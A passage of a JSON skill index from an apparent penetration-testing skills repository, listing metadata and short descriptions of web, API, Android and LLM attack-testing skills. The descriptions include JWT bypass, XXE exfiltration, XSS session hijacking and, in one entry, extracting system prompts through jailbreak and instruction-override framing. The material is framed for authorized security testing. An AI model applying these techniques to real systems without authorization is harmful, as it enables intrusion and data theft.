/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":145,"sizeBytes":992},{"name":"SKILL.md","path":"skills/testing-android-intents-for-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-android-intents-for-vulnerabilities/SKILL.md","title":"testing-android-intents-for-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-android-intents-for-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-android-intents-for-vulnerabilities","description":"Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","intents","ipc-security","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1055"]},"isInternal":false,"tokens":1518,"sizeBytes":7039},{"name":"api-reference.md","path":"skills/testing-api-authentication-weaknesses/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-authentication-weaknesses/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-authentication-weaknesses%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":434,"sizeBytes":1805},{"name":"SKILL.md","path":"skills/testing-api-authentication-weaknesses/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-authentication-weaknesses/SKILL.md","title":"testing-api-authentication-weaknesses","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-authentication-weaknesses%2FSKILL.md -->","frontmatter":{"name":"testing-api-authentication-weaknesses","description":"Tests API authentication mechanisms for weaknesses including broken token validation, missing authentication on endpoints, weak password policies, credential stuffing susceptibility, token leakage in URLs or logs, and session management flaws. The tester evaluates JWT implementation, API key handling, OAuth flows, and session token entropy to identify authentication bypasses. Maps to OWASP API2:2023 Broken Authentication. Activates for requests involving API authentication testing, token validation assessment, credential security testing, or API auth bypass.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","authentication","jwt","session-management","credential-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1003","T1110"]},"isInternal":false,"tokens":4170,"sizeBytes":17486},{"name":"api-reference.md","path":"skills/testing-api-for-broken-object-level-authorization/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-broken-object-level-authorization%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":440,"sizeBytes":1844},{"name":"SKILL.md","path":"skills/testing-api-for-broken-object-level-authorization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-for-broken-object-level-authorization/SKILL.md","title":"testing-api-for-broken-object-level-authorization","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-broken-object-level-authorization%2FSKILL.md -->","frontmatter":{"name":"testing-api-for-broken-object-level-authorization","description":"Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR, OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users to check whether the server enforces per-object authorization. Use when asked to test BOLA or IDOR in an API, verify object-level authorization, or assess an API for access control bypass.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","bola","idor","authorization","rest-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T1027","T1070"]},"isInternal":false,"tokens":4019,"sizeBytes":16151},{"name":"api-reference.md","path":"skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-for-mass-assignment-vulnerability/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-mass-assignment-vulnerability%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":443,"sizeBytes":1854},{"name":"SKILL.md","path":"skills/testing-api-for-mass-assignment-vulnerability/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md","title":"testing-api-for-mass-assignment-vulnerability","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-for-mass-assignment-vulnerability%2FSKILL.md -->","frontmatter":{"name":"testing-api-for-mass-assignment-vulnerability","description":"Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.\n","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","owasp","mass-assignment","auto-binding","parameter-tampering"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1552.001","T0816","T0836"]},"isInternal":false,"tokens":3791,"sizeBytes":15884},{"name":"api-reference.md","path":"skills/testing-api-security-with-owasp-top-10/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-security-with-owasp-top-10/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-security-with-owasp-top-10%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":563,"sizeBytes":2313},{"name":"SKILL.md","path":"skills/testing-api-security-with-owasp-top-10/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-api-security-with-owasp-top-10/SKILL.md","title":"testing-api-security-with-owasp-top-10","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-api-security-with-owasp-top-10%2FSKILL.md -->","frontmatter":{"name":"testing-api-security-with-owasp-top-10","description":"Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing. Use during authorized API penetration tests, before deploying new endpoints to production, or when validating API gateway controls and rate limiting.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","api-security","owasp","rest-api","graphql","burpsuite","postman"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3475,"sizeBytes":13006},{"name":"api-reference.md","path":"skills/testing-cors-misconfiguration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-cors-misconfiguration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-cors-misconfiguration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":498,"sizeBytes":2188},{"name":"SKILL.md","path":"skills/testing-cors-misconfiguration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-cors-misconfiguration/SKILL.md","title":"testing-cors-misconfiguration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-cors-misconfiguration%2FSKILL.md -->","frontmatter":{"name":"testing-cors-misconfiguration","description":"Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","cors","web-security","owasp","same-origin-policy","burpsuite"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1003"]},"isInternal":false,"tokens":2935,"sizeBytes":12089},{"name":"api-reference.md","path":"skills/testing-for-broken-access-control/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-broken-access-control/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-broken-access-control%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":480,"sizeBytes":2001},{"name":"SKILL.md","path":"skills/testing-for-broken-access-control/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-broken-access-control/SKILL.md","title":"testing-for-broken-access-control","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-broken-access-control%2FSKILL.md -->","frontmatter":{"name":"testing-for-broken-access-control","description":"Systematically tests web applications and APIs for broken access control (OWASP A01:2021), including privilege escalation, missing function-level checks, insecure direct object references, and multi-tenant data leakage, using Burp Suite with the Authorize extension. Use during authorized penetration tests or RBAC/multi-tenant authorization audits.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","access-control","authorization","owasp","privilege-escalation","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1068"]},"isInternal":false,"tokens":3382,"sizeBytes":13331},{"name":"api-reference.md","path":"skills/testing-for-business-logic-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-business-logic-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-business-logic-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":429,"sizeBytes":1847},{"name":"SKILL.md","path":"skills/testing-for-business-logic-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-business-logic-vulnerabilities/SKILL.md","title":"testing-for-business-logic-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-business-logic-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-for-business-logic-vulnerabilities","description":"Manually identifies flaws in application business logic - price manipulation, multi-step workflow bypass, and privilege escalation - by intercepting and modifying requests with Burp Suite, going beyond what automated vulnerability scanners detect. Use for e-commerce checkout/cart flows, voucher and rewards systems, or any assessment where scanners find little but business rules need scrutiny.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","business-logic","owasp","web-security","burpsuite","manual-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1068"]},"isInternal":false,"tokens":3182,"sizeBytes":13230},{"name":"api-reference.md","path":"skills/testing-for-email-header-injection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-email-header-injection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-email-header-injection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":431,"sizeBytes":1749},{"name":"SKILL.md","path":"skills/testing-for-email-header-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-email-header-injection/SKILL.md","title":"testing-for-email-header-injection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-email-header-injection%2FSKILL.md -->","frontmatter":{"name":"testing-for-email-header-injection","description":"Tests web application email functionality (contact forms, password reset, newsletter subscriptions) for CRLF/SMTP header injection using Burp Suite and OWASP ZAP, checking whether attackers can inject headers, modify recipients, or abuse forms for spam relay. Use when testing any user-input-driven email-sending feature during a penetration test.","domain":"cybersecurity","subdomain":"web-application-security","tags":["email-injection","smtp-injection","crlf-injection","header-injection","spam-relay","contact-form","email-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2173,"sizeBytes":8576},{"name":"api-reference.md","path":"skills/testing-for-host-header-injection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-host-header-injection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-host-header-injection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":355,"sizeBytes":1473},{"name":"SKILL.md","path":"skills/testing-for-host-header-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-host-header-injection/SKILL.md","title":"testing-for-host-header-injection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-host-header-injection%2FSKILL.md -->","frontmatter":{"name":"testing-for-host-header-injection","description":"Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.","domain":"cybersecurity","subdomain":"web-application-security","tags":["host-header-injection","password-reset-poisoning","cache-poisoning","virtual-host","web-security","header-manipulation","ssrf"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2207,"sizeBytes":8856},{"name":"api-reference.md","path":"skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-json-web-token-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-json-web-token-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":503,"sizeBytes":1944},{"name":"SKILL.md","path":"skills/testing-for-json-web-token-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-json-web-token-vulnerabilities/SKILL.md","title":"testing-for-json-web-token-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-json-web-token-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-for-json-web-token-vulnerabilities","description":"Tests JWT implementations for algorithm confusion, \"none\" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement.","domain":"cybersecurity","subdomain":"web-application-security","tags":["jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1068"]},"isInternal":false,"tokens":2354,"sizeBytes":8995},{"name":"api-reference.md","path":"skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-open-redirect-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-open-redirect-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":383,"sizeBytes":1496},{"name":"SKILL.md","path":"skills/testing-for-open-redirect-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-open-redirect-vulnerabilities/SKILL.md","title":"testing-for-open-redirect-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-open-redirect-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-for-open-redirect-vulnerabilities","description":"Identifies and exploits open redirect vulnerabilities by analyzing URL redirection parameters (next, url, redirect, return, goto), applying bypass techniques, and chaining findings into phishing or token-theft exploits, using Burp Suite/OWASP ZAP and Burp Collaborator. Use when testing login/logout flows, OAuth redirect_uri handling, or SSO redirect validation.","domain":"cybersecurity","subdomain":"web-application-security","tags":["open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1566"]},"isInternal":false,"tokens":1948,"sizeBytes":8060},{"name":"api-reference.md","path":"skills/testing-for-sensitive-data-exposure/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-sensitive-data-exposure/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-sensitive-data-exposure%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":479,"sizeBytes":1740},{"name":"SKILL.md","path":"skills/testing-for-sensitive-data-exposure/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-sensitive-data-exposure/SKILL.md","title":"testing-for-sensitive-data-exposure","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-sensitive-data-exposure%2FSKILL.md -->","frontmatter":{"name":"testing-for-sensitive-data-exposure","description":"Identifying sensitive data exposure vulnerabilities including API key leakage, PII in responses, insecure storage, and unprotected data transmission during security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","data-exposure","pii","owasp","web-security","api-keys","secrets"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3609,"sizeBytes":14296},{"name":"api-reference.md","path":"skills/testing-for-system-prompt-leakage/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-system-prompt-leakage/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":668,"sizeBytes":2673},{"name":"standards.md","path":"skills/testing-for-system-prompt-leakage/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-system-prompt-leakage/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":354,"sizeBytes":1558},{"name":"SKILL.md","path":"skills/testing-for-system-prompt-leakage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-system-prompt-leakage/SKILL.md","title":"testing-for-system-prompt-leakage","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-system-prompt-leakage%2FSKILL.md -->","frontmatter":{"name":"testing-for-system-prompt-leakage","description":"Extracts LLM system prompts using direct requests, jailbreak/instruction-override framing, translation/encoding tricks, and few-shot replay, combining manual payloads with automated garak and Promptfoo scanners to surface embedded secrets, routing logic, and policy leakage (OWASP LLM07:2025). Use during LLM application red-team engagements or when validating that no credentials or authorization logic live in the system prompt.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","system-prompt-leakage","prompt-extraction","llm-red-team","owasp-llm07","garak","promptfoo","data-leakage"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0057"]},"isInternal":false,"tokens":2146,"sizeBytes":9466},{"name":"api-reference.md","path":"skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xml-injection-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xml-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":432,"sizeBytes":1724},{"name":"SKILL.md","path":"skills/testing-for-xml-injection-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xml-injection-vulnerabilities/SKILL.md","title":"testing-for-xml-injection-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xml-injection-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-for-xml-injection-vulnerabilities","description":"Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.","domain":"cybersecurity","subdomain":"web-application-security","tags":["xml-injection","xxe","xpath-injection","xml-parsing","web-security","entity-injection","dtd-attack"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1055"]},"isInternal":false,"tokens":2089,"sizeBytes":7814},{"name":"api-reference.md","path":"skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xss-vulnerabilities-with-burpsuite/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities-with-burpsuite%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":496,"sizeBytes":2095},{"name":"SKILL.md","path":"skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xss-vulnerabilities-with-burpsuite/SKILL.md","title":"testing-for-xss-vulnerabilities-with-burpsuite","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities-with-burpsuite%2FSKILL.md -->","frontmatter":{"name":"testing-for-xss-vulnerabilities-with-burpsuite","description":"Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","xss","burpsuite","owasp","web-security","cross-site-scripting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":2801,"sizeBytes":11207},{"name":"api-reference.md","path":"skills/testing-for-xss-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xss-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":513,"sizeBytes":1999},{"name":"SKILL.md","path":"skills/testing-for-xss-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xss-vulnerabilities/SKILL.md","title":"testing-for-xss-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xss-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-for-xss-vulnerabilities","description":"Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["XSS","cross-site-scripting","client-side-security","OWASP-A03","JavaScript-injection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1055"]},"isInternal":false,"tokens":2571,"sizeBytes":11611},{"name":"api-reference.md","path":"skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xxe-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":566,"sizeBytes":2195},{"name":"SKILL.md","path":"skills/testing-for-xxe-injection-vulnerabilities/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md","title":"testing-for-xxe-injection-vulnerabilities","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftesting-for-xxe-injection-vulnerabilities%2FSKILL.md -->","frontmatter":{"name":"testing-for-xxe-injection-vulnerabilities","description":"Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration 